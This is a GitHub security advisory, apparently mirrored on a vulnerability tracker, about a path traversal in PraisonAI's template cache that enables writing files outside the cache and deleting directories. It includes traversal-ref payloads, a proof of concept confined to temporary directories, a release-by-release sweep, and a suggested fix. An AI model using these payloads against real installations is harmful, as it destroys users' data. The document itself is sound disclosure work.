GHSA-F44V-7QGW-9GH9

Vulnerability from github – Published: 2026-06-18 14:24 – Updated: 2026-06-18 14:24
VLAI
Summary
PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion
Details

Summary

PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/template@v1.0.0. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without normalizing each segment or checking that the final path remains inside the template cache root.

A crafted ref such as ../../../../../../outside-delete-target therefore escapes the cache directory. The first load can write .cache_meta.json outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches shutil.rmtree(cache_path) and removes an attacker-selected outside directory before replacing it with cache metadata.

This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.

Affected versions

Confirmed vulnerable:

  • v2.6.0
  • v3.9.24
  • v3.9.26
  • v4.5.126
  • v4.5.128
  • v4.6.9
  • v4.6.10
  • v4.6.56
  • v4.6.57
  • current head 2f9677abb2ea68eab864ee8b6a828fd0141612e1

Recommended affected range: >= 2.6.0, <= 4.6.57.

No fixed version is known at the time of this report.

Impact

An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:

  • create .cache_meta.json outside the template cache directory;
  • delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix;
  • corrupt user configuration, project state, or application data reachable by the process permissions.

Root cause

Current-head code path:

  • praisonai/templates/resolver.py: GITHUB_PATTERN captures path and ref with broad regex groups and returns them without segment validation.
  • praisonai/templates/security.py: is_source_allowed() allows GitHub sources by default when allow_any_github is true.
  • praisonai/templates/registry.py: get_template() resolves a GitHub URI, fetches the template, calculates a checksum, then calls self.cache.put(...).
  • praisonai/templates/cache.py: _get_cache_path() builds the cache path as self.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.
  • praisonai/templates/cache.py: put() removes an existing cache_path with shutil.rmtree(cache_path), recreates it, copies content, and writes .cache_meta.json.

There is no check equivalent to:

  1. reject absolute path segments;
  2. reject . / .. in owner, repo, template path, or ref;
  3. resolve the candidate path;
  4. require os.path.commonpath([cache_root, candidate]) == cache_root.

Local-only PoV

Run from a PraisonAI source checkout:

from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry

def loader(cache_dir):
    cache = TemplateCache(cache_dir=cache_dir)
    registry = TemplateRegistry(cache=cache, offline=False)
    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
        RuntimeError("network disabled")
    )
    return TemplateLoader(cache=cache, registry=registry)

with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
    root = Path(tmp)
    cache_dir = root / "cache" / "templates"

    write_target = root / "outside-write-target"
    loader(cache_dir).load(
        "github:attacker/repo/template@../../../../../../outside-write-target"
    )

    delete_target = root / "outside-delete-target"
    delete_target.mkdir()
    canary = delete_target / "canary.txt"
    canary.write_text("delete-me")

    ldr = loader(cache_dir)
    ldr.load("github:attacker/repo/template@main")
    ldr.load(
        "github:attacker/repo/template@../../../../../../outside-delete-target"
    )

    safe_target = root / "safe-control"
    safe_target.mkdir()
    safe_canary = safe_target / "canary.txt"
    safe_canary.write_text("must-remain")
    loader(root / "safe-cache" / "templates").load(
        "github:attacker/repo/template@main"
    )

    print("outside metadata written:", (write_target / ".cache_meta.json").exists())
    print("outside canary exists after malicious ref:", canary.exists())
    print("safe canary exists after normal ref:", safe_canary.exists())

Expected output:

outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True

The PoV uses only temporary directories and disables network fetches.

I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.

Release sweep

The same PoV was run against checked-out tags:

praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True

git log shows the affected template cache/resolver/registry files were added in the v2.6.0 release commit e7a8ce8e.

Suggested fix

Validate every cache path segment before joining:

  • owner and repo: strict GitHub owner/repo-name regex;
  • template path: split on / and reject empty, ., .., and absolute forms;
  • ref: reject /, path separators, empty segments, ., .., and absolute forms, or encode/hash the ref before using it in a filesystem path.

Then enforce a final boundary check:

cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
    raise ValueError("template cache path escapes cache root")

A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.

Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.57"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:24:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPraisonAI\u0027s template loader accepts GitHub template URIs with refs, for example\n`github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled\ntemplate path and ref verbatim, and the cache layer later joins those values into\n`~/.praison/cache/templates/github/\u003cowner\u003e/\u003crepo\u003e/\u003ctemplate\u003e/\u003cref\u003e` without\nnormalizing each segment or checking that the final path remains inside the\ntemplate cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore\nescapes the cache directory. The first load can write `.cache_meta.json` outside\nthe cache. If the normal cache hierarchy for the same owner/repo/template has\nalready been created, the same path reaches `shutil.rmtree(cache_path)` and\nremoves an attacker-selected outside directory before replacing it with cache\nmetadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive\nmember is needed, and the PoV disables network access entirely. The bug is in\ncache-key construction for GitHub template URIs.\n\n## Affected versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `\u003e= 2.6.0, \u003c= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied\nPraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache\n  entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by\n  the process permissions.\n\n## Root cause\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref`\n  with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources\n  by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI,\n  fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as\n  `self.cache_dir / \"github\" / resolved.owner / resolved.repo /\n  resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with\n  `shutil.rmtree(cache_path)`, recreates it, copies content, and writes\n  `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## Local-only PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n    cache = TemplateCache(cache_dir=cache_dir)\n    registry = TemplateRegistry(cache=cache, offline=False)\n    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n        RuntimeError(\"network disabled\")\n    )\n    return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n    root = Path(tmp)\n    cache_dir = root / \"cache\" / \"templates\"\n\n    write_target = root / \"outside-write-target\"\n    loader(cache_dir).load(\n        \"github:attacker/repo/template@../../../../../../outside-write-target\"\n    )\n\n    delete_target = root / \"outside-delete-target\"\n    delete_target.mkdir()\n    canary = delete_target / \"canary.txt\"\n    canary.write_text(\"delete-me\")\n\n    ldr = loader(cache_dir)\n    ldr.load(\"github:attacker/repo/template@main\")\n    ldr.load(\n        \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n    )\n\n    safe_target = root / \"safe-control\"\n    safe_target.mkdir()\n    safe_canary = safe_target / \"canary.txt\"\n    safe_canary.write_text(\"must-remain\")\n    loader(root / \"safe-cache\" / \"templates\").load(\n        \"github:attacker/repo/template@main\"\n    )\n\n    print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n    print(\"outside canary exists after malicious ref:\", canary.exists())\n    print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With\na non-existent GitHub repository, PraisonAI makes real GitHub requests, handles\nthe failed fetch, returns a fallback template config, and still writes/deletes\nthrough the escaped cache path. The PoV above disables network only to keep the\nreproducer deterministic and harmless.\n\n## Release sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added\nin the `v2.6.0` release commit `e7a8ce8e`.\n\n\n## Suggested fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute\n  forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n    raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names\ninstead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files.\nCurrently a failed fetch can still result in a cached empty template directory.",
  "id": "GHSA-f44v-7qgw-9gh9",
  "modified": "2026-06-18T14:24:55Z",
  "published": "2026-06-18T14:24:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f44v-7qgw-9gh9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…